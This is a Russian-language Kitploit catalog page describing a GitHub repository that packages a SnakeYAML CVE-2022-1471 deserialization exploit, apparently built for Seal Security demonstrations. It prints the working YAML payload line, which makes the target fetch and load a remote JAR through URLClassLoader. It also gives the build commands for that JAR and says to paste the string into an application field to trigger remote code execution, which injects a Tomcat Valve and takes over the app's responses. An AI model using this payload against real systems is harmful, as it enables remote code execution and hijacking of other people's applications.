Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/seal-sec-demo-2/yaml-payload-2
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийRed TeamingРазработка Полезной Нагрузки
GitHubseal-sec-demo-2/yaml-payload-2

yaml-payload-2

SnakeYAML CVE-2022-1471 эксплойт-пейлоад для демонстраций Seal Security

Репозиторий
52 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

yaml-payload

Эксплойт-пейлоад для десериализации SnakeYAML для CVE-2022-1471, адаптированный из artsploit/yaml-payload (изначально основан на mbechler/marshalsec).

Что он делает

При загрузке через небезопасный Yaml.load() от SnakeYAML этот пейлоад перехватывает управление запущенным приложением и заменяет его страницей "You've Been PWNED":

  1. Внедряет Tomcat Valve в запущенное Spring Boot приложение через рефлексию, перехватывая существующий порт 8080 — тот же URL (включая любой ngrok-туннель) теперь отдаёт страницу PWNED
  2. Автоматически перенаправляет браузер — ответ на POST отправляет 302-редирект, поэтому браузер сразу загружает страницу PWNED без ручного обновления
  3. Автоматически открывает браузер по правильному URL (публичный URL ngrok, если доступен, иначе localhost:8080)
  4. Выводит доказательства эксплуатации в консоль/логи CI

Если внедрение Tomcat Valve недоступно (например, не-Spring приложение), он переключается на запуск отдельного HTTP-сервера на порту 9999 и автоматически создаёт ngrok-туннель, если ngrok запущен.

Это работает как локально на macOS, так и в CI/CD пайплайнах (например, GitHub Actions на Ubuntu).

Как работает цепочка эксплуатации

Пейлоад SnakeYAML запускает ScriptEngineManager через Java SPI (Service Provider Interface):

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML создаёт экземпляр java.net.URL, указывающий на yaml-payload.jar из этого репозитория
  2. Оборачивает его в URLClassLoader для загрузки удалённых классов
  3. ScriptEngineManager обнаруживает и загружает AwesomeScriptEngineFactory через META-INF/services/javax.script.ScriptEngineFactory
  4. Конструктор фабрики внедряет Valve в работающий конвейер Tomcat, заменяя каждый последующий ответ на / страницей PWNED

Сборка

Требуется JDK 17+:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Использование

Используется как эксплойт-пейлоад в проекте maven-demo. Вставьте строку пейлоада в поле имени приложения, чтобы запустить RCE. Страница приложения будет заменена страницей PWNED при следующем запросе. Полные инструкции по демонстрации см. в README этого репозитория.

Скачать инструмент